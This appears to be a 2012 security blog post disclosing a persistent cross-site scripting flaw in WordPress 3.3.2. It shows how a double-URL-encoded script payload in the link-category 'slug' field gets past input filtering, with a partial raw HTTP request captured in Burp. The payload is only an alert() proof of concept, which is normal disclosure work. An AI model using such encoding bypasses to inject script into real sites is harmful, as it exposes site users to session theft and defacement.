Saturday, 2 June 2012

Persistent XSS in wordpress 3.3.2 [LOW]

There is a persistent XSS vulnerability in the wordpress version 3.3.2. However, the severity of this finding is very LOW. Reported this on April 26th and they confirmed it but then got no further reply from them (may be as this has LOW severity so who cares ;-) )

The detail is as follow,

a) Login into an admin account

b) Navigate to Links -> Links Categories

c) Fill up the required details and intercept the request with a BURP suite.

d) The injectable parameter is slug. If you inject <script>alert(1)</script> as a value to parameter "slug", the application strips it off and the value becomes alert1. 

But if the payload is double encode then ;-) 
<script>alert(1)</script> when converted to %253cscript%253ealert%25281%2529%253c%252fscript%253e bypasses this xss protection. 

The following request shows the raw HTTP request from BURP along with the vulnerable parameter and payload marked in bold.

POST /wordpress/wp-admin/edit-tags.php HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (X11; Linux i686; rv:11.0) Gecko/20100101 Firefox/11.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip, deflate
Proxy-Connection: keep-alive
Referer: http://localhost/wordpress/wp-admin/edit-tags.php?action=edit&taxonomy=link_category&tag_ID=2&post_type=post
Cookie: blahblahbcookieblah
Content-Type: application/x-www-form-urlencoded
Content-Length: 379